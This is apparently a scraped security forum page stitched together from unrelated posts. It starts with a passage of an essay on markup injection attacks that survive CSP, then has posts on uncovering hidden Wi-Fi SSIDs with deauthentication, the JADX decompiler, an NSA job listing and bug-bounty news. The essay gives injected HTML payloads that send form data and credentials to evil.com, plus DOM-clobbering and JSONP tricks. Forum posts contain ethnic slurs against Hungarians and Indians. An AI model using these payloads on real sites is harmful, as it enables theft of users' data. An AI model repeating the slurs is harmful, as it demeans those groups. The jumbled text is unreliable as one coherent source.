Rerouting of existing forms Another exfiltration opportunity is afforded by a peculiar property of HTML: The <form> tag can't be nested, and the top-level occurrence of this markup always takes precedence over subsequent appearances. This allows the attacker to change the URL to which any existing form will be submitted, simply by injecting an additional form definition in the preceding portion of the document: <form action='http://evil.com/log.cgi'> ? Injected line ... <form action='update_profile.php'> ? Legitimate, pre-existing form ... <input type="text" name="real_name" value="John Q. Public"> ... </form> This attack is particularly interesting when used to target forms automatically populated with user-specific secrets - as would be the case with any forms used to update profile information, shipping or billing address, or other contact data; form-based XSRF tokens are also a possible target. 2.4. Use of <base> to hijack relative URLs The next exfiltration vector worth highlighting relies on the injection of <base> tags. A majority of web browsers honor this tag outside the standards-mandated <head> section; in such a case, the attacker injecting this markup would be able to change the semantics of all subsequently appearing relative URLs, e.g.: <base href='http://evil.com/'> ? Injected line ... <form action='update_profile.php'> ? Legitimate, pre-existing form ... <input type="text" name="real_name" value="John Q. Public"> ... </form> Here, any user-initiated profile update will be submitted to http://evil.com/update_profile.php, rather than back to the originating server that produced the HTML document. 2.5. Form injection to intercept browser-managed passwords In-browser password managers are a popular tool for simplifying account management across multiple websites. They operate by detecting HTML forms that include a password field, and offering the user to save the entered credentials in a browser-operated password jar. The stored passwords are then automatically inserted into any plausibly-looking forms encountered within a matching origin. In Chrome and Firefox, this autocompletion requires no user interaction; in Internet Explorer and Opera, an additional gesture may be required.The attacker may obtain stored passwords by leveraging a markup injection vulnerability to present the browser with a well-structured password form. In absence of the ability to execute scripts, the next step is browser- and application-specific: In browsers such as Chrome and Opera, the actual URL to which the form submits (the action parameter) may be selected arbitrarily and may point to an attacker-controlled server. This offers a very straightforward exfiltration opportunity. In most other browsers, it is possible to present a form that specifies GET instead of POST as the submission mode (the method parameter), and submit the credentials to a carefully selected same-site destination. That destination may be a page that links to or includes subresources from third-party sites (thus leaking the credentials in theReferer header); or a page that echoes back query parameters in the response body, and is vulnerable to any of the previously discussed exfiltration methods. 2.6. Addendum: The limits of exfiltration defenses It is tempting to counter the vectors previously outlined in the document by simply preventing the attacker from contacting third-party servers; for example, one may wish to restrict the set of permissible destinations for markup such as <form>, <a href=...>, or <img>. Indeed, several academic anti-exfiltration frameworks have been proposed in the past, either as a sole defense against the consequences of cross-site scripting, or to be used in tandem with script execution countermeasures. It appears that some desire to prevent exfiltration influenced the original proposals for CSP, too.It must be noted, however, that any attempts to prevent exfiltration, even in script-less environments, are very unlikely to be successful. Browsers offer extensive indirect data disclosure opportunities through channels such as the Referer technique outlined in 2.5; through the window.name parameter that persists across origins (and policy scopes) on newly created views; and through a variety of DOM inspection and renderer and cache timing vectors that may be used by third-party documents to make surprisingly fine-grained observations about the structure of the policed page.It is also important to recognize that exfiltration attempts do not have to be geared toward relaying the data to a third-party website to begin with: In many settings, it is sufficient to move the data from private and into public view, all within the scope of a single website. A simple illustration of this attack on an e-commerce site may be: <form action='/post_review.php'> <input type='hidden' name='review_body' value=" ? Injected lines ... Your current shipping address: ? Existing page text to be exfiltrated 123 Evergreen Terrace Springfield, USA ... <form action="/update_address.php"> ? Existing form (ignored by the parser) ... <input type="hidden" name="xsrf_token" value="12345"> ? Token valid for /update_address.php and /post_review.php ... </form> This form, if interacted with, will unexpectedly submit the victim's home address as the body of a publicly visible product review, where the attacker may be able to intercept it before the user notices the problem and reacts.Attribution: The second technique presented above is inspired by an upcoming paper on data exfiltration by Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson. 3. Infiltration of application logic Data exfiltration is one of the important goals in the exploitation of XSS vulnerabilities, but is not the only one. In some settings, the attacker may be more interested in actively disrupting the state of the targeted application; these attacks typically seek one or more of the following outcomes: Alteration or destruction of legitimate content. Most attackers will seek to immediately replace victim-owned documents with misleading or disparaging content, to distribute offensive messages, or to simply destroy valuable data. Delegation of account access. Such attacks seek to gain longer-term access to the capabilities offered by the targeted site - such as read-only or read-write access to victim's private data. On a content publishing platform, this may involve adding an attacker-controlled persona as a secondary administrator of the victim-owned channel, or as a collaborator on a particular document; in a webmail system, the attack may focus on creating a mail forwarding rule to siphon off all the incoming mail; and on a social networking site, the goal may be to add the attacker as a trusted contact ("friend"). Use of special privileges. In select cases, attackers may wish to abuse additional privileges bestowed upon the vulnerable origin by the browser itself (e.g., the ability to change critical settings, install extensions or updates); or the trust the user associates with the targeted site (perhaps expressed as the willingness to accept unsolicited downloads). Propagation of attacker-supplied markup. Certain attacks seek to create autonomously propagating worms that spread between the users of a site by leveraging site-specific messaging and content sharing mechanisms. The creation of a worm may be an accomplishment in itself, or a way for maximizing the efficiency of any other attack. This section showcases techniques that may be used to further these goals in absence of the ability to inject attacker-supplied code. 3.1. Interference with existing scripts Contemporary web applications make extensive use of JavaScript to handle the bulk of content presentation and user interface tasks. From the security standpoint, these responsibilities may have seemed insignificant, but this view no longer holds true; for example, in an collaborative document editor, client-side scripts may be tasked with: Determining and recording the outcome of user-initiated ACL changes for the document ("sharing dialogs"), Sanitizing or escaping server-supplied strings to make them safe for display, Keeping track and synchronizing the contents of the edited file. By analogy to conceptually similar but better-studied race condition or off-by-one vulnerabilities in non-browser applications, it can be expected that the ability to put the execution environment in an inconsistent and unexpected state will not merely render the program inoperative - but will routinely lead to outcomes desirable to the attacker. 3.1.1. HTML namespace attacks One of the most straightforward state corruption vectors is based on id or name collisions between attacker-injected markup and legitimate contents of the page. The impact of such a collision is easy to illustrate using the example of a script-generated dialog, where the initial state of a configurable setting is captured using an editable control (typically <input>), and then read back through document.getElementById(...) and sent to the server: <input type='checkbox' id='is_public' checked> ? Injected markup ... // Legitimate application code follows function render_acl_dialog() { ... if (shared_publicly) dialog.innerHTML += '<input type="checkbox" id="is_public" checked>'; else dialog.innerHTML += '<input type="checkbox" id="is_public">'; ... } function acl_dialog_done() { ... if (document.getElementById('is_public').checked) ? Condition true regardless of user choice request.access_mode = AM_PUBLIC; ... } An even simpler example against a statically constructed dialog may be carried as follows:<input type='hidden' id='share_with' value='fredmbogo'> ? Injected markup ... Share this status update with: ? Legitimate optional element of a dialog <input id='share_with' value=''> ... function submit_status_update() { ... request.share_with = document.getElementById('share_with').value; ... } In both cases, the browser will allow the page to have several DOM elements with the same id parameter, but only the first, attacker-controlled value will be returned ongetElementById(...) lookups. The initial state of the configurable setting will be stored in one tag, but the attempt to read back the value later on will interact with another.The degree of user interaction required for this attack to succeed is application-specific, and may vary from zero to multiple clicks. The article proposes a method for making the user unwittingly interact with UI controls in section 3.3.3.1.2. Script namespace attacks The namespace attack discussed in the previous section may be also leveraged to directly interfere with the JavaScript execution environment, without relying on other HTML elements as a proxy. This is because of a little-known link between the markup and the script namespace: In all popular browsers, the identifiers attached to HTML tags are automatically registered in the JavaScript context associated with the page. This registration happens on two levels: For any type of a tag, a new node with a name matching the id parameter of the tag is inserted into the default object scope. In other words, <div id=test> will create a global variable test (of type HTMLDivElement), pointing to the DOM object associated with the tag.In this scenario, the mapping has a lower priority than any built-ins or variables previously created by on-page scripts. The behavior of identically named variables created later on is browser-specific. For several special tags, such as <img>, <iframe>, or <embed>, an entry for both the id and the name is additionally inserted into the document object. For example, <img name=test> will produce a node named document.test.This mapping has a higher priority than built-ins and script-created variables. An attacker capable of injecting passive markup may leverage this property in a manner illustrated in this code snippet:<img id='is_public'> ? Injected markup ... // Legitimate application code follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ? The subsequent assignment fails in IE is_public = true; else is_public = false; } function submit_new_acls() { ... if (is_public) request.access_mode = AM_PUBLIC; ? Condition always evaluates to true ... } The consequences of this namespace pollution are made worse because the DOM objects associated with certain HTML elements have specialized methods for converting them to strings; this enables the attacker to attack not only simple Boolean conditions, but also to spoof numbers and strings: <a id='owner_user' href='fredmbogo'> ? Injected markup <img id='data_loaded''> ... // Legitimate application code follows function retrieve_data() { if (window.data_loaded) return; ? Condition met in browsers other than Firefox ... owner_user = response.owner; data_loaded = true; } function submit_new_acls() { ... request.can_edit = owner_user + ...; ? The string 'fredmbogo' is inserted request.can_read = owner_user + ...; ... } Several other exploitation venues appear to exist, but will be more closely tied to the design of the targeted application. It is, for example, possible to shadow built-ins such as document.domain, document.cookie, document.location, or document.referrer in order to interfere with certain security decisions; it is also trivial to disrupt the operation of methods such as document.createElement() or document.open(); fabricate the availability of the window.postMessage(...), window.crypto, or other security APIs; and more. 3.1.3. Script load order issues (CSP-specific) Script policing frameworks must necessarily seek compromise between the ease of deployment and the granularity of the offered security controls. In the case of Content Security Policy, this compromise may unexpectedly undermine the assurances offered to many real-world web apps.The key issue is that for the sake of simplicity, CSP relies on origin-level granularity: It is possible to control permissible script sources on a protocol, host, and port level, but not to specify individual script URLs - or the order they need to be loaded in. This design decision enables the attacker to load arbitrary scripts found anywhere on the site in an unexpected context, in an incorrect order, or an unplanned number of times.One trivial but plausible example where this capability may be used to put the application in an inconsistent state is illustrated below: <script src='initialize.js'></script>: ? Legitimate scripts var edited_text = ''; <script src='load_document.js'></script>: edited_text = server_response.text; ... setInterval(autosave_to_server, 10000); <script src='initialize.js'></script>: ? Injected script load var edited_text = ''; The possibility of loading scripts that use similar variable or function names, but belong to logically separate views, is perhaps more unsettling and more difficult to audit for; consider the following snippet of code: <script src='/admin/initialize.js'></script>: ? Injected script load ... initialized = true; <script src='/editor/editor.js'></script>: ? Legitimate scripts ... function load_data() { if (initialized) return; ... if (new_document) { acl_read_users = current_username; acl_write_users = current_username; ... } ... initialized = true; } ... function save_acls() { ... request.acl_read_users = acl_read_users; ? Submits user 'undefined' as a collaborator. request.acl_write_users = acl_write_users; ... } On any moderately complex website, it appears to be prohibitively difficult to account for all the possible interactions between hundreds of unrelated scripts. Further, it appears unlikely that webmasters would routinely appreciate the consequences of hosting nominally unused portions of JavaScript libraries, older versions of currently loaded scripts, or portions of JS used for testing or diagnostic purposes, anywhere within their WWW root. 3.1.4. Abuse of JSONP (CSP-specific) JSONP (JSON with padding) is a popular method for building JavaScript APIs. JSONP interfaces are frequently used to integrate with services provided by trusted third-party sites (e.g., to implement search or mapping capabilities), as well as to retrieve private first-party data (in this case, an additional Referer check or an XSRF token is commonly used).Regardless of the purpose, the integration with any JSONP API is achieved by including a script reference similar to this: <script src="http://example.com/find_store.php?zipcode=90210&callback=parse_response"></script> In response, the server dynamically generates a script structured roughly the following way:parse_response({ 'zipcode': '90210', 'results': [ '123 Evergreen Terrace', ... ]}); The inclusion of this response as a script results in the invocation of a client-specified callback - parse_response(...) - in the context of the calling page.Any CSP-enabled website that either offers JSONP feeds to others, or utilizes them internally, is automatically prone to a flavor of return-oriented programming: the attacker is able to invoke any functions of his choice, often with at least partly controllable parameters, by specifying them as the callback parameter on the API call: <script src='/editor/sharing.js'>: ? Legitimate script function set_sharing(public) { if (public) request.access_mode = AM_PUBLIC; else request.access_mode = AM_PRIVATE; ... } <script src='/search?q=a&call=set_sharing'>: ? Injected JSONP call set_sharing({ ... }) In addition, any JSONP interface that does not filter out parentheses or other syntax elements in the name of the callback function - a practice that has no special security consequences under normal operating conditions - will be vulnerable to an even more straightforward attack: <script src='/search?q=a&call=alert(1)'></script> 3.1.5. Selective removal of scripts (specific to XSS filters) The last script-related vector that deserves a brief mention in this document is associated with the use of reflected cross-site scripting filters. XSS filters are a security feature designed to selectively remove suspected XSS exploitation attempts from the rendered HTML. They do so by looking for scripting-capable markup that appears to correspond to a potentially attacker-controlled parameter present in the underlying HTTP request. For example, if a request for /search?q=<script>alert(1)</script>returns a page containing <script>alert(1)</script> in its markup, that snippet of HTML will be removed by the filter to stop possible exploitation of an XSS flaw.Because of the fully passive design of the detection stage, cross-site scripting filters have the unfortunate property of being prone to attacker-triggered false positives: By quoting a snippet of a legitimate script present on the page, the XSS filter may be duped into removing this block of code, while permitting any remaining <script> segments or inline event handlers to execute. This behavior has the potential to place the targeted application in an inconsistent state, which may be exploitable in a manner similar to the attacks outlined in section 3.1.3. 3.2. Form parameter injection The JavaScript-centric exploitation strategies discussed previously are an attractive target for attackers, but even in absence of complex scripts, markup injection may be leveraged to alter the state of the application. The disruption of HTML forms is one of the examples of a method independent of any client-side JavaScript: By injecting additional <input type='hidden'> fields in the vicinity of an existing state-changing form, the attacker may trivially change the way the server interprets the intent behind the eventual submission, e.g.: <form action='/change_settings.php'> <input type='hidden' name='invite_user' value='fredmbogo'> ? Injected lines <form action="/change_settings.php"> ? Existing form (ignored by the parser) ... <input type="text" name="invite_user" value=""> ? Subverted field ... <input type="hidden" name="xsrf_token" value="12345"> ... </form> A vast majority of web frameworks will only interpret the first occurrence of invite_user in the submitted form, and will add the account of attacker's choice as a collaborator.Further, because a significant number of frameworks also use XSRF tokens that are not scoped to individual forms, the attack proposed in section 2.6. may be combined with this approach in order to reuse an existing token and submit data to an unrelated state-changing form: <form action='/change_settings.php'> <input type='hidden' name='invite_user' value='fredmbogo'> ? Injected lines <form action="/update_status.php"> ? Existing form (ignored by the parser) ... <input type="text" name="message" value=""> ? Existing field (ignored by /change_settings.php) ... <input type="hidden" name="xsrf_token" value="12345"> ... </form> 3.3. UI-level attacks It should be apparent that the ability to inject passive markup is often sufficient to disrupt the underlying logic of the targeted application. The other important and frequently overlooked aspect of the security of any web application is the integrity of its user interface.In analyzing the impact of markup injection vulnerabilities, we must consider the possibility that the attacker will use stylesheets, perhaps combined with legacy HTML positioning directives, to overlay own content on top of legitimate UI controls and alter their apparent purpose, without affecting the scripted behaviors associated with user actions. For example, it may be possible to skin a document sharing dialog as a harmless and friendly notification, without changing the underlying semantics of the "OK" button displayed therein.Although the most recent specification of CSP disallows inline stylesheets to protect against an unrelated weakness, the attacker is still free to load any other standalone stylesheet found within any of the whitelisted origins, and reuse any of the offered classes normally used to construct the legitimate UI; therefore, such an attack is very likely to be feasible.Another area of concern is that the occurrence of a click or other simple UI action is not necessarily indicative of informed consent. The attacker may trick the user into unwittingly interacting with the targeted application by predicting the timing of a premeditated click, and rapidly transitioning between two documents or two simultaneously open windows; this problem is one of the unsolved challenges in browser engineering, and is discussed in more detail on this page. The context-switching attack may be used separately, or may be leveraged in conjunction with any of the exfiltration or state change techniques discussed here to work around the normally required degree of interaction with the vulnerable page. 3.4. Abuse of special privileges In addition to the attacks on application logic and the apparent function of UI controls, markup injection vulnerabilities may be leveraged to initiate certain privileged actions in a way that bypasses normal security restrictions placed on untrusted sites. These attacks are of less interest from the technical perspective, but are of significant practical concern.Examples of privilege-based attacks that may be delivered over passive HTML markup include: Updating OpenSearch registrations associated with the site to subvert the search integration capabilities integrated into the browser. Initiating the download and installation of extensions, themes, or updates (if the compromised origin is recognized as privileged by one of the mechanisms built into the browser). Instantiating site-locked plugins or ActiveX extensions with attacker-controlled parameters. Starting file downloads or providing misleading and dangerous advice to the user; the user is trained to make trust decisions based on the indicators provided in the address bar, so this offers a qualitative difference in comparison to traditional phishing. 4. Practical limitations of XSS defenses The exfiltration and infiltration methods discussed in this document were chosen by their proximity to the attack outcomes that script containment frameworks hope to prevent, and to the technological domains they operate in. I also shied away from including a detailed discussion of transient and easily correctable glitches in the scope or operation of these mechanisms.A more holistic assessment of these frameworks must recognize, however, that their application is limited to HTML documents, and even more specifically, to documents that are expected ahead of the time to be displayed by the browser as HTML. The existing frameworks have no control over any subresources that may be interpreted by specialized XML parsers or routed to plugins; in that last case, the hosting party has very little control over the process, too.Another practical consideration is that despite being envisioned by security experts, the complexity of interactions with various browser features requires the frameworks to be constantly revised to account for a number of significant loopholes. Some of the notable issues in the relatively short life of CSP included the ability to spoof scripts by pointing <script> tags to non-script documents with partly attacker-controlled contents (originally fixed with strict MIME type matching); the ability to use CSS3 complex selectors to exfiltrate data (addressed by disallowing inline stylesheets); or the ability to leverage accessibility features to implement rudimentary keylogging. This list will probably grow. 5. Conclusion There is no doubt that the recently proposed security measures offer a clear quantitative benefit by rendering the exploitation of markup vulnerabilities more difficult, and dependent on a greater number of application-specific prerequisites.At the same time, I hope to have demonstrated that web applications protected by frameworks such as CSP are still likely to suffer significant security consequences in case of a markup injection flaw. I believe that in many real-world scenarios, the qualitative difference offered by the aforementioned mechanisms is substantially less than expected.It may be useful to compare these measures to the approaches used to mitigate the impact of stack buffer overflows: The use of address space layout randomization, non-executable stack segments, and stack canaries have made exploitation of certain implementation issues more difficult, but reliably prevented it only in a relatively small fraction of cases.For as long as web documents are routinely produced and exchanged as serialized HTML, markup injection will remain a security threat. To address the problem fully, one may flirt with the idea of replacing serialized HTML with parsed, binary DOM trees that are be directly exchanged between the server and the client, and between portions of client-side JavaScript. The performance benefits associated with this design would probably encourage client- and server-side frameworks to limit the use of serialized HTML documents in complex web apps.[Originally published in December 2011] Sursa: http://lcamtuf.coredump.cx/postxss/

O sa stai 8 ore pe zi in fata unui calculator, asta e clar. Dar nu o sa scrii continuu cod. O sa mai stai pe Facebook, pe RST, pe 9gag, o sa iesi la cafea, o sa vorbesti la telefon si orice altceva mai vrei tu sa faci. De multe ori chiar o sa joci ping-pong, biliard sau o sa te joci pe XBOX/PlayStation deoarece multe firme au asa ceva. Facultatea nu te ajuta foarte mult. Poti invata cateva limbaje de programare in facultate, algoritmi si multe alte lucruri utile, dar si lucruri inutile: algebra, analiza... Dar e bine sa ai o dimploma, esti scutit de impozit si castigi cu 16% mai mult. Vezi ca mai erau topicuri pe aici care discutau aceasta problema. Ca programator: 10% scrii cod, 90% faci "debug", adica te dai cu capul de pereti sa intelegi ce e gresit in cele 2 linii de cod pe care tocmai le-ai scris, iar peste 5 ore sa iti dai seama ca nu era de vina codul tau. Se pot intampla multe, dar nu iti imagina ca scrii cod continuu. Daca iti placea programarea, o sa iti placa sa fii programator. Nu e ca si cum ai sta acasa, sa stai 2 ore la TV, sa mai scrii o linie, mai stai doua ore pe Facebook, mai scrii o linie, apoi mai scrii cateva peste doua saptamani cand iti aduci aminte ca voiai sa faci un proiect open-source. Scrii ce vrea seful, adica ce vrea clientul, dar nu ar trebui sa te afecteze. Conteaza mult si cu ce clienti are firma de lucru, deoarece unii au deadline-uri nasoale si ii rup pe angajati. Dar asta tine cel mai mult de conducere. Pune intrebari la "la obiect".

Ceea ce a vrut sa zica @TheTime este ca "Va futem in inima pe toti".

Am modificat titlul. No, futu-ti natia ma-tii de bozgor jegos, pune mana pe o carte adevarata de istorie si citeste-o, nu pe jegurile pe care le-ati primit voi de la cacatii vostri. Pentru cine nu stie, astia sunt invatati de mici ca Ardealul e al lor. @TheTime poate sa afirme. Cine vrea sa afle mai multe sa il citeasca pe Neagu Djuvara, va dau eu carte daca sunteti din Bucuresti, si demonstreaza cum atat limba cat si pamantul sunt romanesti.

I-am pus un titlu adecvat.

BIG SHIT. Sa-i fut in inima pe toti indienii aia nespalati. Jegosii astia au luat 95% Copy/Paste din advisory-ul initial si l-au publicat ca si cum ar fi facut cine stie ce studiu independent. MUIE INDIA!

[h=1]The Pirate Bay returns from the dead, comes back online[/h] Following a raid on a Swedish data center late last year, The Pirate Bay was taken offline for just shy of two months before returning online fully today. The site appears to be fully working on its original domain, with the last uploaded torrent appearing on December 9, the day the site was taken down. The first new torrent contains an image of a phoenix and was uploaded today titled “like a phoenix, it rises from the ashes” said “The Pirate Bay is back.” Torrentfreak reported earlier this week that the previous moderators and admins may be locked out of the revived site, but it’s not clear if that is the case just yet. Even though the site is operational, some functions like the RSS feed don’t work just yet. We also don’t know anything about who’s behind it or if they’re part of the original team. Peter Sunde, co-founder of the site said previously that “it feels good that it might have closed down forever, just a real shame the way it did that.” Perhaps The Pirate Bay is a site that truly never goes offline forever. Sursa: The Pirate Bay Returns From The Dead

[TABLE=class: PSPAGECONTAINER, width: 591] [TR] [TD=colspan: 8, align: left]Job Description [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 7, align: left] [TABLE=class: PABACKGROUNDINVISIBLE] [TR] [TD=width: 7][/TD] [TD=width: 1][/TD] [TD=width: 123][/TD] [TD=width: 2][/TD] [TD=width: 36][/TD] [TD=width: 49][/TD] [TD=width: 84][/TD] [TD=width: 267][/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Job Title: [/TD] [TD=colspan: 4][/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] Exploitation Analyst [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Job ID: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] 1050361 [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] Location: [/TD] [TD=colspan: 5, align: left] Honolulu, HI;San Antonio, TX [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 3, align: left] Occupational Group: [/TD] [TD=colspan: 4][/TD] [/TR] [TR] [TD][/TD] [TD=align: left] 0132 [/TD] [TD=colspan: 3, align: left] Intelligence [/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD=align: left] Pay Plan: [/TD] [TD][/TD] [/TR] [TR] [TD][/TD] [TD=align: left] GG [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Full/Part Time: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Full-Time [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Regular/Temporary: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] Regular [/TD] [/TR] [/TABLE] [/TD] [TD=colspan: 2][/TD] [/TR] [TR] [TD=colspan: 9][/TD] [/TR] [/TABLE] [TABLE=class: PABACKGROUNDINVISIBLE, width: 561] [TR] [TD][/TD] [TD=colspan: 2, align: left] Qualifications [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Our nation has entered a new era that brings profound changes to the way the National Security Agency conducts its mission. The explosion of the World Wide Web has created a need for the Computer Network Operations (CNO) mission. This very important mission is comprised of network defense and computer network exploitation. In order to carry out these functions NSA is looking for people who are highly skilled and impassioned about winning the war in cyberspace. These are NOT your average Computer Science or Engineering jobs! As an Exploitation Analyst you will evaluate target opportunities and strategize activities against particular networks. Use all source data to understand and map target networks. You may assist in developing detailed Exploitation and Operations Plans to be executed by CNO Operators. Entry is with a High School Diploma and 8 years of experience, or an Associate's Degree and 7 years of experience, or a Bachelor's Degree and 5 years of experience, or a Post-Baccalaureate Certificate and 4 years of experience, or a Master's Degree and 3 years of experience, or a Doctoral Degree and no experience. *Ideal candidates should possess related technical degree (e.g., Telecommunications, Computer Science, Engineering, Mathematics, Physics, Computer Forensics, Cyber Security, IT, or Information Systems, Networking and Telecommunications, other degrees may be considered if with relevant experience) *Experience in networking (IT and wireless), telecommunications, IT support, infrastructure support, programming, field engineering, vulnerability analysis, penetration testing, computer forensics, cyber security, systems administration or related experience. *Digital Network Intelligence (DNI) related experience. *Experience with military training in a relevant area such as JCAC, DNA, NCS NETA courses or relevant UMBC courses, etc. *Sans, CISSP, DoD570, and other relevant certifications [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Pay, Benefits, & Work Schedule [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Positions Available in Hawaii Successful candidates will receive a specific offer based upon their skills and educational background. SALARY RANGE: $64,280 to $95,972 *Candidates hired for a position in Hawaii may be eligible to receive an annual recruitment incentive, not to exceed three years. TRAINING: Management strongly supports continuing education and career development. DUTY SCHEDULE: This office participates in the Alternate Work Schedule. [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] How To Apply - External [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] To apply for this position, please click the 'Apply Now' button located at the top or bottom of this page. After completing the application and clicking the 'Submit Final' button, you will receive a confirmation email. Emails regarding your application status will be sent periodically. Please ensure your spam filters are configured to accept emails from noreply@nsa.gov. ***PLEASE NOTE: U.S. Citizenship is required for all applicants. Reasonable accommodations provided to applicants with disabilities during the application and hiring process where appropriate. NSA is an equal opportunity employer and abides by applicable employment laws and regulations. All applicants and employees are subject to random drug testing in accordance with Executive Order 12564. Employment is contingent upon successful completion of a security background investigation and polygraph. This position is a Defense Civilian Intelligence Personnel System (DCIPS) position in the Excepted Service under 10 U.S.C. 1601. DoD Components with DCIPS positions apply Veterans' Preference to eligible candidates as defined by Section 2108 of Title 5 USC, in accordance with the procedures provided in DoD Instruction 1400.25, Volume 2005, DCIPS Employment and Placement. If you are a veteran claiming veterans' preference, as defined by Section 2108 of Title 5 U.S.C., you must submit documents verifying your eligibility with your application package. [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] DCIPS Disclaimer [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] The National Security Agency (NSA) is part of the DoD Intelligence Community Defense Civilian Intelligence Personnel System (DCIPS). All positions in the NSA are in the Excepted Services under 10 United States Codes (USC) 1601 appointment authority.[/TD] [/TR] [/TABLE] Link: https://www.nsa.gov/psp/applyonline/EMPLOYEE/HRMS/c/HRS_HRAM.HRS_CE.GBL?Page=HRS_CE_JOB_DTL&Action=A&JobOpeningId=1050361&SiteId=1&PostingSeq=1

Uncovering Hidden SSIDs By default every access point is broadcasting the SSID in the beacon frames. Sometimes network administrators might choose to configure the AP not to broadcast the SSID because they are thinking that they will avoid attacks just because if a malicious user doesn’t know that a network exist how he is going to attack it? Even though that hiding the wireless network name is a good choice however this doesn’t offer any security as it is relative easy for a determined attacker to discover it. The first step is to create a monitor mode interface in order to be able to sniff wireless packets. Enable Monitor Mode Interface Then we will use the airodump-ng mon0 in order to start capturing raw 802.11 frames which they will contain all the available wireless networks of the area. As we can see from the image below there is only one network which doesn’t broadcasting the SSID. Hidden Wireless Network Alternatively we can check the beacon frames in wireshark and we will notice that the SSID is hidden. Beacon Frames – Hidden Wireless SSID There are two ways to obtain the SSID for a wireless network that is not broadcasting. Passive Active In the passive we will have to wait for a legitimate client to connect to the access point while we are monitoring the wireless traffic and to examine the Probe Request and Probe Response packets which will contain the SSID of the network. Probe Response Packet contains the SSID This technique is stealthier than the active and it can be used in a scenario when we are attacking a corporate wireless network especially in the morning when there will be a variety of devices that will try to connect and unveil it’s presence. The other method is to send directly deauthentication packets to all the clients on behalf of the access point which in this case is the Wireless Pentest Lab. This will force all the devices that are connected to the access point to disconnect and reconnect which again Probe response packets will be generated that will reveal the cloaked SSID. We can send the deauthentication packets with the use of aireplay-ng as it can be seen below: Sending deuathentication packets The value 5 is actually the number of deauthentication packets that we want to send and the -a specifies the MAC address of the access point. As we can see in the next screenshot after the deauthentication packets the probe response packets are generated again and because of these packets are not encrypted they unveil the wireless SSID. Generation of Probe Response Packets Sursa: https://pentestlab.wordpress.com/2015/01/31/uncovering-hidden-ssids/

[h=1]JADX - Java source code from Android Dex and Apk files [/h] Lydecker Black on 12:31 PM Command line and GUI tools for produce Java source code from Android Dex and Apk files. Usage jadx[-gui] [options] <input file> (.dex, .apk, .jar or .class) options: -d, --output-dir - output directory -j, --threads-count - processing threads count -f, --fallback - make simple dump (using goto instead of 'if', 'for', etc) --cfg - save methods control flow graph to dot file --raw-cfg - save methods control flow graph (use raw instructions) -v, --verbose - verbose output -h, --help - print this help Example: jadx -d out classes.dex Download JADX Sursa: JADX - Java source code from Android Dex and Apk files | KitPloit

Nu a dorit sa se afle ce username are aici. Deci cei care stiti, pastrati pentru voi.

Am scos chat-ul pentru o perioada de timp. Era folosit doar pentru porcarii si aducea probleme pe forum: ban-uri, certuri si mai stiu eu ce. Nu veniti cu cacaturile de pe chat pe forum ca primiti direct ban. Fara offtopic, fara thread-uri de 2 lei. Nu mai sunteti copii.

Posted: Friday, January 30, 2015 Tweet Posted by Eduardo Vela Nava, Security Engineer Since 2010, our Security Reward Programs have been a cornerstone of our relationship with the security research community. These programs have been successful because of two core beliefs: Security researchers should be rewarded for helping us protect Google's users. Researchers help us understand how to make Google safer by discovering, disclosing, and helping fix vulnerabilities at a scale that’s difficult to replicate by any other means. We’re grateful for the terrific work these researchers do to help keep users safe. And so, we wanted to take a look back at 2014 to celebrate their contributions to Google, and in turn, our contributions back to them. Looking back on 2014 Our Security Reward Programs continue to grow at a rapid clip. We’ve now paid more than $4,000,000 in rewards to security researchers since 2010 across all of our reward programs, and we’re looking forward to more great years to come. In 2014: We paid researchers more than $1,500,000. Our largest single reward was $150,000. The researcher then joined us for an internship. We rewarded more than 200 different researchers. We rewarded more than 500 bugs. For Chrome, more than half of all rewarded reports for 2014 were in developer and beta versions. We were able to squash bugs before they could reach our main user population. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The top three contributors to the VRP program in 2014 during a recent visit to Google Zurich: Adrian (Romania), Tomasz (Poland / UK), Nikolai (Ukraine)[/TD] [/TR] [/TABLE] What’s new for 2015 We are announcing two additions to our programs today. First, researchers' efforts through these programs, combined with our own internal security work, make it increasingly difficult to find bugs. Of course, that's good news, but it can also be discouraging when researchers invest their time and struggle to find issues. With this in mind, today we're rolling out a new, experimental program: Vulnerability Research Grants. These are up-front awards that we will provide to researchers before they ever submit a bug. Here’s how the program works: We'll publish different types of vulnerabilities, products and services for which we want to support research beyond our normal vulnerability rewards. We'll award grants immediately before research begins, with no strings attached. Researchers then pursue the research they applied for, as usual. There will be various tiers of grants, with a maximum of $3,133.70 USD. On top of the grant, researchers are still eligible for 